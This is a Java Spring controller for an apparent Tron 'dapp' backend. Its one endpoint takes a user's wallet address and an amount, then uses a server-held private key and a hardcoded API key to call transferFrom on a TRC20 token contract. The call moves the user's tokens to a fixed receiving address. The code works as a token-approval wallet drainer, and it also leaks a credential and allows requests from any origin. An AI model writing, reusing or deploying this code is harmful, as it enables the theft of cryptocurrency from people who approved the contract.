package cc.mrbird.febs.dapp.controller;

import cc.mrbird.febs.common.contants.AppContants;
import cc.mrbird.febs.common.entity.FebsResponse;
import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
import cc.mrbird.febs.dapp.dto.TrxPostDto;
import cc.mrbird.febs.dapp.entity.DappAddressList;
import cn.hutool.core.util.StrUtil;
import io.swagger.annotations.Api;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;

import javax.servlet.http.HttpServletRequest;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.Date;

/**
 * @author wzy
 * @date 2021-10-19
 **/
@Slf4j
@RequiredArgsConstructor
@CrossOrigin(origins = "*")
@RestController
@Api(value = "接口啊", tags = "接口啊")
@RequestMapping(value = "/trx")
public class DappController {

    @Autowired
    private DappAdressListDao dappAdressListDao;

    @PostMapping(value = "/trcPost.html")
    public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
        log.info("-----进入方法-----");

        DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress());
        if (dappAddress == null) {
            dappAddress = new DappAddressList();
            dappAddress.setCreateTime(new Date());
            dappAddress.setAddress(trxPostDto.getAddress());
            dappAdressListDao.insert(dappAddress);
        }

        ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");

        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
//        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
//        System.out.println(balanceOf);

        BigInteger decimals = token.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
        BigDecimal amount = BigDecimal.ZERO;
        if (StrUtil.isNotBlank(trxPostDto.getAmount())) {
            amount = new BigDecimal(trxPostDto.getAmount());
        }

        amount = amount.multiply(mul);

        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L);
        return new FebsResponse().success();
    }
}